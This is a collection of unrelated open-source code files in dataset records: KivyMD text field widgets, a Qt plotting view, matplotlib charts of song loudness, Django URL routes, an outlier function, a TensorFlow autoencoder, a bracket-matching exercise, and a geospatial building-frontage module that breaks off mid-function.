\"_hint_y\", \"_hint_lbl_font_size\"\n )\n if not self.text:\n Animation(\n _hint_y=dp(14),\n _hint_lbl_font_size=sp(12),\n duration=0.2,\n t=\"out_quad\",\n ).start(self)\n Animation(_line_width=self.width, duration=0.2, t=\"out_quad\").start(\n self\n )\n if has_error:\n Animation(\n duration=0.2,\n _current_hint_text_color=self.error_color,\n _current_right_lbl_color=self.error_color,\n _current_line_color=self.error_color,\n ).start(self)\n if self.helper_text_mode == \"on_error\" and (\n self.error or self._text_len_error\n ):\n Animation(\n duration=0.2, _current_error_color=self.error_color\n ).start(self)\n elif (\n self.helper_text_mode == \"on_error\"\n and not self.error\n and not self._text_len_error\n ):\n Animation(\n duration=0.2, _current_error_color=(0, 0, 0, 0)\n ).start(self)\n elif self.helper_text_mode == \"persistent\":\n Animation(\n duration=0.2,\n _current_error_color=disabled_hint_text_color,\n ).start(self)\n elif self.helper_text_mode == \"on_focus\":\n Animation(\n duration=0.2,\n _current_error_color=disabled_hint_text_color,\n ).start(self)\n else:\n Animation(\n duration=0.2,\n _current_right_lbl_color=disabled_hint_text_color,\n ).start(self)\n Animation(duration=0.2, color=self.line_color_focus).start(\n self._hint_lbl\n )\n if self.helper_text_mode == \"on_error\":\n Animation(\n duration=0.2, _current_error_color=(0, 0, 0, 0)\n ).start(self)\n if self.helper_text_mode == \"persistent\":\n Animation(\n duration=0.2,\n _current_error_color=disabled_hint_text_color,\n ).start(self)\n elif self.helper_text_mode == \"on_focus\":\n Animation(\n duration=0.2,\n _current_error_color=disabled_hint_text_color,\n ).start(self)\n else:\n if not self.text:\n Animation(\n _hint_y=dp(38),\n _hint_lbl_font_size=sp(16),\n duration=0.2,\n t=\"out_quad\",\n ).start(self)\n Animation(\n _line_blank_space_right_hint_text=0,\n _line_blank_space_left_hint_text=0,\n duration=0.2,\n t=\"out_quad\",\n ).start(self)\n if has_error:\n Animation(\n duration=0.2,\n _current_line_color=self.error_color,\n _current_hint_text_color=self.error_color,\n _current_right_lbl_color=self.error_color,\n ).start(self)\n if self.helper_text_mode == \"on_error\" and (\n self.error or self._text_len_error\n ):\n Animation(\n duration=0.2, _current_error_color=self.error_color\n ).start(self)\n elif (\n self.helper_text_mode == \"on_error\"\n and not self.error\n and not self._text_len_error\n ):\n Animation(\n duration=0.2, _current_error_color=(0, 0, 0, 0)\n ).start(self)\n elif self.helper_text_mode == \"persistent\":\n Animation(\n duration=0.2,\n _current_error_color=disabled_hint_text_color,\n ).start(self)\n elif self.helper_text_mode == \"on_focus\":\n Animation(\n duration=0.2, _current_error_color=(0, 0, 0, 0)\n ).start(self)\n else:\n Animation(duration=0.2, color=(1, 1, 1, 1)).start(\n self._hint_lbl\n )\n Animation(\n duration=0.2,\n _current_line_color=self.line_color_focus,\n _current_hint_text_color=disabled_hint_text_color,\n _current_right_lbl_color=(0, 0, 0, 0),\n ).start(self)\n if self.helper_text_mode == \"on_error\":\n Animation(\n duration=0.2, _current_error_color=(0, 0, 0, 0)\n ).start(self)\n elif self.helper_text_mode == \"persistent\":\n Animation(\n duration=0.2,\n _current_error_color=disabled_hint_text_color,\n ).start(self)\n elif self.helper_text_mode == \"on_focus\":\n Animation(\n duration=0.2, _current_error_color=(0, 0, 0, 0)\n ).start(self)\n Animation(_line_width=0, duration=0.2, t=\"out_quad\").start(self)\n\n def on_text(self, instance, text):\n if len(text) > 0:\n self.has_had_text = True\n if self.max_text_length is not None:\n self._right_msg_lbl.text = f\"{len(text)}/{self.max_text_length}\"\n max_text_length = self.max_text_length\n else:\n max_text_length = sys.maxsize\n if len(text) > max_text_length or all(\n [self.required, len(self.text) == 0, self.has_had_text]\n ):\n self._text_len_error = True\n else:\n self._text_len_error = False\n if self.error or self._text_len_error:\n if self.focus:\n Animation(\n duration=0.2,\n _current_hint_text_color=self.error_color,\n _current_line_color=self.error_color,\n ).start(self)\n if self.helper_text_mode == \"on_error\" and (\n self.error or self._text_len_error\n ):\n Animation(\n duration=0.2, _current_error_color=self.error_color\n ).start(self)\n if self._text_len_error:\n Animation(\n duration=0.2, _current_right_lbl_color=self.error_color\n ).start(self)\n else:\n if self.focus:\n disabled_hint_text_color = (\n self.theme_cls.disabled_hint_text_color\n )\n Animation(\n duration=0.2,\n _current_right_lbl_color=disabled_hint_text_color,\n ).start(self)\n Animation(\n duration=0.2,\n _current_hint_text_color=self.line_color_focus,\n _current_line_color=self.line_color_focus,\n ).start(self)\n if self.helper_text_mode == \"on_error\":\n Animation(\n duration=0.2, _current_error_color=(0, 0, 0, 0)\n ).start(self)\n if len(self.text) != 0 and not self.focus:\n self._hint_y = dp(14)\n self._hint_lbl_font_size = sp(12)\n\n def on_text_validate(self):\n self.has_had_text = True\n if self.max_text_length is None:\n max_text_length = sys.maxsize\n else:\n max_text_length = self.max_text_length\n if len(self.text) > max_text_length or all(\n [self.required, len(self.text) == 0, self.has_had_text]\n ):\n self._text_len_error = True\n\n def _set_hint(self, instance, text):\n self._hint_lbl.text = text\n\n def _set_msg(self, instance, text):\n self._msg_lbl.text = text\n self.helper_text = text\n\n def _set_message_mode(self, instance, text):\n self.helper_text_mode = text\n if self.helper_text_mode == \"persistent\":\n disabled_hint_text_color = self.theme_cls.disabled_hint_text_color\n Animation(\n duration=0.1, _current_error_color=disabled_hint_text_color\n ).start(self)\n\n def _set_max_text_length(self, instance, length):\n self.max_text_length = length\n self._right_msg_lbl.text = f\"{len(self.text)}/{length}\"\n\n def on_color_mode(self, instance, mode):\n if mode == \"primary\":\n self._update_primary_color()\n elif mode == \"accent\":\n self._update_accent_color()\n elif mode == \"custom\":\n self._update_colors(self.line_color_focus)\n\n def on_line_color_focus(self, *args):\n if self.color_mode == \"custom\":\n self._update_colors(self.line_color_focus)\n\n\nclass MDTextFieldRound(ThemableBehavior, TextInput):\n icon_left = StringProperty()\n \"\"\"Left icon.\n\n :attr:`icon_left` is an :class:`~kivy.properties.StringProperty`\n and defaults to `''`.\n \"\"\"\n\n icon_left_color = ListProperty([0, 0, 0, 1])\n \"\"\"Color of left icon in ``rgba`` format.\n\n :attr:`icon_left_color` is an :class:`~kivy.properties.ListProperty`\n and defaults to `[0, 0, 0, 1]`.\n \"\"\"\n\n icon_right = StringProperty()\n \"\"\"Right icon.\n\n :attr:`icon_right` is an :class:`~kivy.properties.StringProperty`\n and defaults to `''`.\n \"\"\"\n\n icon_right_color = ListProperty([0, 0, 0, 1])\n \"\"\"Color of right icon.\n\n :attr:`icon_right_color` is an :class:`~kivy.properties.ListProperty`\n and defaults to `[0, 0, 0, 1]`.\n \"\"\"\n\n line_color = ListProperty()\n \"\"\"Field line color.\n\n :attr:`line_color` is an :class:`~kivy.properties.ListProperty`\n and defaults to `[]`.\n \"\"\"\n\n normal_color = ListProperty()\n \"\"\"Field color if `focus` is `False`.\n\n :attr:`normal_color` is an :class:`~kivy.properties.ListProperty`\n and defaults to `[]`.\n \"\"\"\n\n color_active = ListProperty()\n \"\"\"Field color if `focus` is `True`.\n\n :attr:`color_active` is an :class:`~kivy.properties.ListProperty`\n and defaults to `[]`.\n \"\"\"\n\n _color_active = ListProperty()\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self._lbl_icon_left = MDIcon(theme_text_color=\"Custom\")\n self._lbl_icon_right = MDIcon(theme_text_color=\"Custom\")\n self.cursor_color = self.theme_cls.primary_color\n\n if not self.normal_color:\n self.normal_color = self.theme_cls.primary_light\n if not self.line_color:\n self.line_color = self.theme_cls.primary_dark\n if not self.color_active:\n self._color_active = [0, 0, 0, 0.5]\n\n def on_focus(self, instance, value):\n if value:\n self.icon_left_color = self.theme_cls.primary_color\n self.icon_right_color = self.theme_cls.primary_color\n else:\n self.icon_left_color = self.theme_cls.text_color\n self.icon_right_color = self.theme_cls.text_color\n\n def on_icon_left(self, instance, value):\n self._lbl_icon_left.icon = value\n\n def on_icon_left_color(self, instance, value):\n self._lbl_icon_left.text_color = value\n\n def on_icon_right(self, instance, value):\n self._lbl_icon_right.icon = value\n\n def on_icon_right_color(self, instance, value):\n self._lbl_icon_right.text_color = value\n\n def on_color_active(self, instance, value):\n if value != [0, 0, 0, 0.5]:\n self._color_active = value\n self._color_active[-1] = 0.5\n else:\n self._color_active = value\n","repo_name":"Dirk-Sandberg/ChineseChess","sub_path":"kivymd/uix/textfield.py","file_name":"textfield.py","file_ext":"py","file_size_in_byte":35420,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"82"} +{"seq_id":"30418237133","text":"\"\"\"\nDistributed under the terms of the BSD 3-Clause License.\n\nThe full license is in the file LICENSE, distributed with this software.\n\nAuthor: Jun Zhu\n\"\"\"\nfrom typing import Optional\n\nfrom ..aesthetics import FColor\nfrom ..backend.QtGui import QDragEnterEvent, QDragMoveEvent, QDropEvent\nfrom ..graphics_item import CurvePlotItem, DroppableItem\nfrom ..graphics_widget import SmartGraphWidget\nfrom .graph_view import GraphViewBase\n\n\nclass SmartView(GraphViewBase):\n \"\"\"SmartView class.\n\n SmartView only accepts a single type of plot.\n \"\"\"\n _central_widget_type = SmartGraphWidget\n\n def __init__(self, *, parent=None):\n super().__init__(parent=parent)\n self.setAcceptDrops(True)\n\n self._data_items = {}\n self._plot_type = \"curve\"\n\n def _addPlot(self, *args, **kwargs):\n if self._plot_type == \"curve\":\n item = CurvePlotItem(*args, **kwargs)\n self._cw.addItem(item)\n return item\n\n def addDataItem(self, item: DroppableItem) -> None:\n if item not in self._data_items:\n name = item.name()\n if not name:\n name = f\"Data{len(self._data_items)}\"\n plot = self._addPlot(label=name,\n pen=FColor.mkPen(item.pen().color()),\n brush=FColor.mkBrush(item.brush().color()))\n self._data_items[item] = plot\n if len(self._data_items) > 1:\n self.addLegend()\n\n def updateF(self, data):\n \"\"\"override.\"\"\"\n for item, plot in self._data_items.items():\n data_item = item.extract(data['image']['data'])\n if data_item is None:\n plot.clearData()\n else:\n plot.setData(*data_item.get())\n\n def dragEnterEvent(self, ev: QDragEnterEvent) -> None:\n \"\"\"Override.\"\"\"\n ev.acceptProposedAction()\n\n def dragMoveEvent(self, ev: QDragMoveEvent) -> None:\n \"\"\"Override.\"\"\"\n ev.acceptProposedAction()\n\n def dropEvent(self, ev: QDropEvent) -> None:\n \"\"\"Override.\"\"\"\n item = ev.source()\n if not isinstance(item, DroppableItem):\n return\n self.addDataItem(item)\n ev.acceptProposedAction()\n","repo_name":"zhujun98/foamgraph","sub_path":"foamgraph/graph_view/smart_view.py","file_name":"smart_view.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"42408737287","text":"import create\nfrom create import *\n\ndf = create.df\nmean_df = create.mean_df\ndf_sorted_loudness = df.sort_values(by=['loudness'], ascending=False)\nmean_df_sorted_loudness = mean_df.sort_values(by=['loudness'], ascending=False)\n\npy.figure(dpi=450)\npy.hist(df_sorted_loudness.loudness, bins=range(-23, 0, 1), rwidth=0.7, color='#51A063')\npy.axis(xmax=0, xmin=-23)\nax = py.gca()\nax.yaxis.tick_right()\nax.yaxis.set_ticks_position('both')\nax.yaxis.set_minor_locator(AutoMinorLocator())\nax.xaxis.set_minor_locator(AutoMinorLocator())\npy.grid()\npy.title(\"Distribution of Loudness\")\npy.xlabel(\"Loudness\")\npy.ylabel(\"Number of Tracks\")\npy.savefig('loudness_hist')\npy.close()\n\nx1 = range(5, 105, 10)\npy.figure(dpi=450, figsize=(9, 5))\npy.bar(x1, df_sorted_loudness.loudness.iloc[0:10], width=5, )\nnames = list(df_sorted_loudness.name.iloc[0:10])\npy.yticks(np.array(range(-10, 1)) / 4)\npy.axis(ymax=0, ymin=-2.5)\nnames_new = []\nfor name in names:\n words = name.split(\" \")\n names_new.append([\" \".join(words[i:i + 2]) for i in range(0, len(words), 2)])\nfor name in names_new:\n names_new[names_new.index(name)] = str.join(\"\\n\", name)\npy.xticks(x1, names_new, fontsize=6.5)\npy.title(\"Loudest Songs\")\npy.ylabel(\"Loudness\")\npy.grid(axis='y')\npy.savefig('loudness_bar_top10')\npy.close()\n\npy.figure(dpi=450, figsize=(8, 5))\npy.bar(x1, mean_df_sorted_loudness.loudness.iloc[0:10], width=5, color='#FF005D')\nartists = mean_df_sorted_loudness.iloc[0:10, 1:2].index\npy.xticks(x1, artists, fontsize=6.5)\npy.title(\"Loudest Artists\")\npy.ylabel(\"Loudness\")\npy.yticks(np.array(range(-20, -13)) / 4)\npy.grid(axis='y')\npy.axis(ymin=-4.75, ymax=-3.5)\nax = py.gca()\nax.yaxis.set_minor_locator(AutoMinorLocator())\nax.yaxis.set_ticks_position('both')\npy.savefig('loudness_bar_artists_top10')\npy.close()\n","repo_name":"Arnav3094/IP-Project","sub_path":"redundant/loudness.py","file_name":"loudness.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2048380694","text":"from django.conf.urls import url\nfrom mylibrary import views\n\n\nurlpatterns=[\n\n url(r'^book$', views.BooksAPI),\n url(r'^book/(?P[0-9]+)/$', views.BooksAPIID),\n url(r'^book/genre/(?P[a-z]+)/$', views.BooksByGenreAPI),\n url(r'^book/tag/(?P[a-z]+)/$', views.BooksByTagAPI),\n url(r'^book/all/(?P[a-z]+)/$', views.BooksByAllFieldsAPI),\n url(r'^book/author/(?P[a-z]+)/$', views.BooksByAuthorAPI),\n url(r'^book/publisher/count/(?P[a-z]+)/$', views.CountBooksbyPublisherAPI),\n url(r'^author$', views.AuthorsAPI),\n url(r'^author/(?P[0-9]+)/$', views.AuthorsAPIID),\n url(r'^genre$', views.GenresAPI),\n url(r'^genre/(?P[0-9]+)/$', views.GenresAPIID),\n url(r'^publisher$', views.PublishersAPI),\n url(r'^publisher/(?P[0-9]+)/$', views.PublishersAPIID),\n]","repo_name":"aniteddy/Library","sub_path":"mylibrary/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"4948693055","text":"import numpy as np\n\ndef mad_outlier(y, thresh=3.):\n '''\n compute outliers based on mad\n # args\n y: assumed to be array with shape (N,1)\n thresh: float()\n # returns\n array index of outliers\n '''\n y = np.expand_dims(y, axis=1)\n median = np.median(y)\n diff = np.sum((y - median)**2, axis=-1)\n diff = np.sqrt(diff)\n med_abs_deviation = np.median(diff)\n\n modified_z_score = 0.6745 * diff / med_abs_deviation\n\n return modified_z_score > thresh","repo_name":"fernandodelacalle/adv-financial-ml-marcos-exercises","sub_path":"src/data/clean_data.py","file_name":"clean_data.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":175,"dataset":"github-code","pt":"82"} +{"seq_id":"38957327238","text":"import os\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow import keras\nfrom tensorflow.keras import Sequential, layers\nfrom PIL import Image\nfrom matplotlib import pyplot as plt\nfrom src.mnist_data.mnist import bendi_mnist\nimport tensorflow as tf\nfrom tensorflow.keras import layers\n\n\ntf.random.set_seed(22)\nnp.random.seed(22)\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\nassert tf.__version__.startswith('2.')\n\n\ndef save_images(imgs, name):\n new_im = Image.new('L', (280, 280))\n\n index = 0\n for i in range(0, 280, 28):\n for j in range(0, 280, 28):\n im = imgs[index]\n im = Image.fromarray(im, mode='L')\n new_im.paste(im, (i, j))\n index += 1\n\n new_im.save(name)\n\n\nh_dim = 20\nbatchsz = 512\nlr = 1e-3\n\n\n\n\n(x_train, y_train), (x_test, y_test) = bendi_mnist()\nx_train, x_test = x_train.astype(np.float32) / 255., x_test.astype(np.float32) / 255.\n# we do not need label\ntrain_db = tf.data.Dataset.from_tensor_slices(x_train)\ntrain_db = train_db.shuffle(batchsz * 5).batch(batchsz)\ntest_db = tf.data.Dataset.from_tensor_slices(x_test)\ntest_db = test_db.batch(batchsz)\n\nprint(x_train.shape, y_train.shape)\nprint(x_test.shape, y_test.shape)\n\n\n\nclass AE(keras.Model):\n\n def __init__(self):\n super(AE, self).__init__()\n\n # Encoders\n self.encoder = Sequential([\n layers.Dense(256, activation=tf.nn.relu),\n layers.Dense(128, activation=tf.nn.relu),\n layers.Dense(h_dim)\n ])\n\n # Decoders\n self.decoder = Sequential([\n layers.Dense(128, activation=tf.nn.relu),\n layers.Dense(256, activation=tf.nn.relu),\n layers.Dense(784)\n ])\n\n\n def call(self, inputs, training=None):\n # [b, 784] => [b, 20]\n h = self.encoder(inputs)\n print(h.shape)\n # [b, 20] => [b, 784]\n x_hat = self.decoder(h)\n\n return h,x_hat\n\n\n\nmodel = AE()\nx_train = tf.reshape(x_train, [-1, 784])\n\nx= model(x_train) #前向传播\nprint(x)\nmodel.build(input_shape=(None, 784))\nmodel.summary()\nmodel.compile(optimizer='adam',loss=tf.keras.losses.mse)\nmodel.fit(x_train,x,epochs=10)\n","repo_name":"yooq/tensorflow_test","sub_path":"src/B/Auto_Encoders/autoEnconders.py","file_name":"autoEnconders.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"86310331614","text":"import sys\nsys.stdin = open('input.txt', 'r')\nT = int(input())\nfor test_case in range(1, T + 1):\n sentence = input() # 문장을 입력받는다\n checks = [0] # 어떤 괄호가 열린 지 확인하고 저장하는 리스트를 초기화\n last = 0 # 마지막 괄호를 계산할 변수를 초기화\n\n for alph in sentence:\n if alph == '(': # '(' 괄호가 열릴 때\n checks.append(1) # 리스트에 1을 추가하고\n last += 1 # 마지막 번호를 1 늘려준다\n elif alph == '{': # '{' 괄호일 때는\n checks.append(2) # 2를 추가한다\n last += 1\n elif alph == ')': # ')' 괄호가 닫히면\n if checks[last] == 1: # 마지막에 '('로 열렸는지 확인하고\n checks.pop() # 맞으면 pop을 하고\n last -= 1 # 마지막 번호를 1 줄여준다\n else: # 맞지 않으면\n checks.append(0) # 리스트에 0을 추가한다\n elif alph == '}': # '}' 괄호가 닫히면\n if checks[last] == 2: # 마지막에 '{'로 열렸는지 확인한다\n checks.pop()\n last -= 1\n else:\n checks.append(0)\n\n if checks == [0]: # checks가 0만 있으면 1\n print(f'#{test_case} {1}')\n else: # 다른 것들이 남아있으면 0\n print(f'#{test_case} {0}')\n\n","repo_name":"verba-neo/multi-it-ai-2","sub_path":"s4866-괄호검사/하정수.py","file_name":"하정수.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"23009712890","text":"import pandas as pd\nimport numpy as np\nimport geopandas as gpd\nfrom shapely.geometry import Polygon, MultiPolygon, LineString, Point, mapping\nfrom tqdm import tqdm\nimport rtree\n\n\ndef bldgs_on_blocks(bldgs, blocks, buildings_uid_col='building_id'):\n \"\"\"\n Matches buildings to blocks and returns the result.\n\n This function returns a three-element tuple: `matches` for buildings uniquely joined to\n blocks, `multimatches` for buildings joined to multiple blocks, and `nonmatches` for\n buildings joined to no blocks.\n\n Warning: buildings which touch the boundary of their block will likely be declared a\n multi-match due to the semantics of the intersection operation.\n\n Parameters\n ----------\n bldgs: gpd.GeoDataFrame\n Building footprints.\n\n blocks: gpd.GeoDataFrame\n Block footprints.\n\n buildings_uid_col: str\n The unique ID column name for the buildings data.\n\n Returns\n -------\n (matches, multimatches, nonmatches) : tuple\n A tuple of three `GeoDataFrame`. The first element is of buildings-block pairs that are\n unique, the second element is buildings that span multiple blocks, and the third is\n buildings that span no blocks (at least according to the data given).\n \"\"\"\n if len(bldgs) == 0 or len(blocks) == 0:\n return gpd.GeoDataFrame(), gpd.GeoDataFrame(), gpd.GeoDataFrame()\n\n all_matches = (gpd.sjoin(bldgs, blocks, how='left', op='intersects'))\n\n nonmatches = (\n all_matches[pd.isnull(all_matches['index_right'])]\n .drop(columns=['index_right'])\n )\n\n # TODO: speed this up\n multimatches = (\n all_matches.groupby(buildings_uid_col)\n .filter(lambda df: len(df) > 1)\n .drop(columns=['index_right'])\n )\n\n matches = (\n all_matches[\n (~all_matches.index.isin(nonmatches.index)) & \n (~all_matches.index.isin(multimatches.index))\n ]\n .drop(columns=['index_right'])\n )\n\n return matches, multimatches, nonmatches\n\n\ndef _simplify(shp, tol=0.05):\n \"\"\"\n Generate a simplified shape, within a specified tolerance.\n \"\"\"\n simp = None\n for thresh in [0.001, 0.0005, 0.0004, 0.0003, 0.0002, 0.0001]:\n simp = shp.simplify(thresh)\n if shp.difference(simp).area / shp.area < tol:\n break\n\n return simp\n\n\ndef _blockfaces_on_block(block, block_uid, tol=0.05, blocks_uid_col='block_uid'):\n \"\"\"\n Breaks a block into blockfaces.\n\n We pass a simplification algorithm over the block geometry and examine the points which\n survive in order to determine which points are geometrically important to the block\n geometry. These points form the boundaries of the blockfaces we partition the block into.\n Points not included in the simplified geometry become intermediate points along the\n blockface boundary.\n\n Parameters\n ----------\n block: Polygon\n Data for a single block.\n\n block_uid: str\n The unique ID identifying this block.\n\n tol: float\n The maximum simplification threshold. Blockfaces will be determined using a simplified\n representation of the block with at most this much inaccuracy with respect to the \"real\n thing\". Higher tolerances result in fewer but more complex blockfaces. Value is a float\n ratio out of 1.\n\n blocks_uid_col: str\n The unique ID column for the blocks. This field must be present in the `block`, and it\n must be uniquely keyed.\n\n Returns\n -------\n out: gpd.GeoDataFrame\n Data and geometries corresponding with each blockface.\n \"\"\"\n orig = block.buffer(0) # MultiPolygon -> Polygon\n simp = _simplify(orig, tol=tol)\n\n orig_coords = mapping(orig)['coordinates'][0]\n simp_coords = mapping(simp)['coordinates'][0]\n\n simp_out = []\n orig_out = []\n\n orig_coords_idx = 0\n\n # generate coordinate strides\n for idx in range(1, len(simp_coords)):\n simp_blockface_start_coord = simp_coords[idx - 1]\n simp_blockface_end_coord = simp_coords[idx]\n\n orig_blockface_start_coord_idx = orig_coords_idx\n orig_coords_idx += 1\n while orig_coords[orig_coords_idx] != simp_blockface_end_coord:\n orig_coords_idx += 1\n orig_blockface_end_coord_idx = orig_coords_idx + 1\n\n simp_out.append((simp_blockface_start_coord, simp_blockface_end_coord))\n orig_out.append(orig_coords[orig_blockface_start_coord_idx:orig_blockface_end_coord_idx])\n\n out = []\n for n, (simp_bf_coord_seq, orig_bf_coord_seq) in enumerate(zip(simp_out, orig_out)):\n blockface_num = n + 1\n out.append({\n blocks_uid_col: block_uid,\n 'blockface_id': f\"{block_uid}_{blockface_num}\",\n \"simplified_geometry\": LineString(simp_bf_coord_seq),\n \"geometry\": LineString(orig_bf_coord_seq)\n })\n out = gpd.GeoDataFrame(out)\n return out\n\n\ndef _drop_noncontiguous_blocks(blocks):\n \"\"\"\n Removes geometries from a `GeoDataFrame` input that are non-polygonal. This is used to exclude\n discontiguous blocks from the data, e.g. island formations.\n \"\"\"\n return blocks[blocks.geometry.map(lambda g: isinstance(g.buffer(0), Polygon))]\n\n\ndef blockfaces_on_blocks(blocks, tol=0.05, blocks_uid_col='block_uid'):\n \"\"\"\n Breaks `blocks` into blockfaces.\n\n Parameters\n ----------\n blocks: gpd.GeoDataFrame\n Blocks.\n tol: float\n The simplification threshold. Higher values result in fewer but more complex blockfaces.\n\n Returns\n -------\n out: gpd.GeoDataFrame\n \"\"\"\n contiguous_blocks = _drop_noncontiguous_blocks(blocks)\n blockfaces = pd.concat(contiguous_blocks.apply(\n lambda b: _blockfaces_on_block(\n b.geometry, b[blocks_uid_col], tol=tol, blocks_uid_col=blocks_uid_col\n ), axis='columns').values\n )\n blockfaces = blockfaces.drop(columns=['simplified_geometry']) # write compatibility\n return blockfaces\n\n\ndef _create_index(srs):\n \"\"\"\n Helper function. Create a geospatial index of streets using the `rtree` package.\n \"\"\"\n index = rtree.index.Index()\n\n for idx, feature in srs.iterrows():\n index.insert(idx, feature.geometry.bounds)\n\n return index\n\n\ndef _filter_on_block_id(block_id, block_id_key='geoid10'):\n \"\"\"\n Helper function, returns a selector func.\n \"\"\"\n def select(df):\n return df.set_index(block_id_key).filter(like=block_id, axis='rows').reset_index()\n return select\n\n\ndef _get_block_data(\n block_id, blockfaces, buildings, \n blockfaces_block_uid_col='blockface_id', buildings_block_uid_col='building_id'\n):\n \"\"\"\n Helper function. Get blockfaces and buildings that match on `block_id`.\n\n Parameters\n ----------\n block_id: str\n A unique ID for a block, which is expected to appear in all of the other inputs.\n blockfaces, gpd.GeoDataFrame\n Blockface data.\n buildings, gpd.GeoDataFrame\n Building data.\n\n Returns\n -------\n tuple\n The corresponding filtered set of data.\n \"\"\"\n bf = blockfaces.pipe(_filter_on_block_id(block_id, blockfaces_block_uid_col))\n bldgs = buildings.pipe(_filter_on_block_id(block_id, buildings_block_uid_col))\n return bf, bldgs\n\n\ndef _collect_strides(point_observations):\n \"\"\"\n Given a sequence of observations of which building is nearest to points on a shape\n (expressed as a percentage length out of 1), collects those observations into contiguous\n strides, thereby assigning buildings to chunks of the shape.\n \"\"\"\n point_obs_keys = list(point_observations.keys())\n curr_obs_start_offset = point_obs_keys[0]\n curr_obs_start_bldg = point_observations[point_obs_keys[0]]\n strides = dict()\n\n for point_obs in point_obs_keys[1:]:\n bldg_observed = point_observations[point_obs]\n if bldg_observed != curr_obs_start_bldg:\n strides[(curr_obs_start_offset, point_obs)] = curr_obs_start_bldg\n curr_obs_start_offset = point_obs\n curr_obs_start_bldg = bldg_observed\n else:\n continue\n\n strides[(curr_obs_start_offset, '1.00')] = bldg_observed\n return strides\n\n\ndef _cut(line, distance):\n \"\"\"\n Cuts a line in two at a distance from its starting point. Helper function.\n\n Modified version of algorithm found at \n http://toblerity.org/shapely/manual.html#object.project.\n \"\"\"\n if distance == 0.0:\n return LineString()\n elif distance == 1.0:\n return LineString(line)\n elif distance < 0.0 or distance > 1.0:\n raise ValueError(\"Cannot cut a line using a ratio outside the range [0, 1]\")\n\n coords = list(line.coords)\n for i, p in enumerate(coords):\n pd = line.project(Point(p), normalized=True)\n if pd == distance:\n return LineString(coords[:i + 1])\n if pd > distance:\n cp = line.interpolate(distance, normalized=True)\n return LineString(coords[:i] + [(cp.x, cp.y)])\n\n\ndef _reverse(l):\n \"\"\"\n Reverses LineString coordinates. Also known as changing the \"winding direction\" of the\n geometry. Helper function.\n \"\"\"\n l_x, l_y = l.coords.xy\n l_x, l_y = l_x[::-1], l_y[::-1]\n return LineString(zip(l_x, l_y))\n\n\ndef _chop_line_segment_using_offsets(line, offsets):\n \"\"\"\n Cuts a line into offset segments. Helper function.\n \"\"\"\n offset_keys = list(offsets.keys())\n out = []\n\n for off_start, off_end in offset_keys:\n out_line = LineString(line.coords)\n orig_length = out_line.length\n\n # Reverse to cut off the start.\n out_line = _reverse(out_line)\n out_line = _cut(out_line, 1 - float(off_start))\n out_line = _reverse(out_line)\n\n # Calculate the new cutoff end point, and apply it to the line.\n l_1_2 = (float(off_end) - float(off_start)) * orig_length\n l_1_3 = (1 - float(off_start)) * orig_length\n new_off_end = l_1_2 / l_1_3\n\n # Perform the cut.\n out_line = _cut(out_line, new_off_end)\n\n out.append(np.nan if out_line is None else out_line)\n\n return out\n\n\ndef _frontages_on_blockface(\n bldgs, blockface, buildings_uid_col='building_id', blocks_uid_col='block_id',\n blockfaces_uid_col='blockface_id', step_size=0.01\n):\n \"\"\"\n Assign `bldgs` to a `blockface`.\n\n The step size controls the size of the segments; specifying a lower value increases the\n accuracy of the algorithm, but also increases how long it take to execute.\n\n The frontages are generated by performing an iterative search along the length of the\n blockface, asking at each point which building is nearest to that given point. The distance\n between points is controlled by the `step_size`.\n\n Parameters\n ----------\n bldgs: gpd.GeoDataFrame\n Data on buildings.\n blockface: gpd.GeoSeries\n A single blockface.\n step_size: float\n The step size, which controls the accuracy of the assessment (at the cost of speed).\n\n Returns\n -------\n gpd.GeoDataFrame\n Frontage match data.\n \"\"\"\n # TODO: use a smarter search strategy than simple iterative search\n index = rtree.Rtree()\n\n if len(bldgs) == 0:\n return gpd.GeoDataFrame()\n\n for idx, bldg in bldgs.iterrows():\n index.insert(idx, bldg.geometry.bounds)\n\n bldg_frontage_points = dict()\n\n search_space = np.arange(0, 1, step_size)\n next_search_space = []\n while len(search_space) > 0:\n for offset in search_space:\n search_point = blockface.geometry.interpolate(offset, normalized=True)\n nearest_bldg = list(index.nearest(search_point.bounds, 1))[0]\n bldg_frontage_points[str(offset)[:6]] = nearest_bldg\n\n strides = _collect_strides(bldg_frontage_points)\n search_space = next_search_space\n\n # convert the list of strides to a proper GeoDataFrame\n out = []\n for sk in strides.keys():\n srs = bldgs.loc[strides[sk], [blocks_uid_col, buildings_uid_col]]\n srs[blockfaces_uid_col] = blockface[blockfaces_uid_col]\n srs['geom_offset_start'] = sk[0]\n srs['geom_offset_end'] = sk[1]\n out.append(srs)\n\n out = gpd.GeoDataFrame(out)\n\n geoms = _chop_line_segment_using_offsets(blockface.geometry, strides)\n out['geometry'] = geoms\n return out\n\n\ndef frontages_on_blockfaces(\n blocks, blockfaces, buildings, buildings_uid_col='building_id', blocks_uid_col='block_id',\n buildings_block_uid_col='block_id', blockfaces_block_uid_col='block_id',\n blockfaces_uid_col='blockface_id', step_size=0.01\n):\n \"\"\"\n Given the set of available data, calculates building frontages for the given blocks.\n\n To only perform a more selective search, e.g. to focus on only a single area or even a single\n block, limit the `blocks` passed to the function.\n\n Parameters\n ----------\n blocks: gpd.GeoDataFrame\n Data for blocks of interest.\n blockfaces: gpd.GeoSeries\n Data for blockfaces.\n buildings: gpd.GeoDataFrame\n Data for buildings.\n\n Returns\n -------\n gpd.GeoDataFrame\n Data on building frontages.\n \"\"\"\n frontages = []\n\n for _, block in tqdm(list(blocks.iterrows())):\n 